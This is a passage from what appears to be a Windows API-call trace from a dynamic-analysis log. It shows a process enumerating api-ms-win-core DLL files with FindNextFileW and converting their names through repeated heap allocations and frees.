lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.419] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xf6c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.419] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.419] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.419] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xf6c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.420] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0xf6c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.420] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xf6c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.420] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xf6c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0223.420] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.420] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.421] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xf6c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.421] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xf6c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.421] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0xf6c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.421] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.421] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0223.421] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0xf6c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.422] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0xf6c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.422] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xf6c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.422] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xf6c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.422] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.422] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0223.422] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.423] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 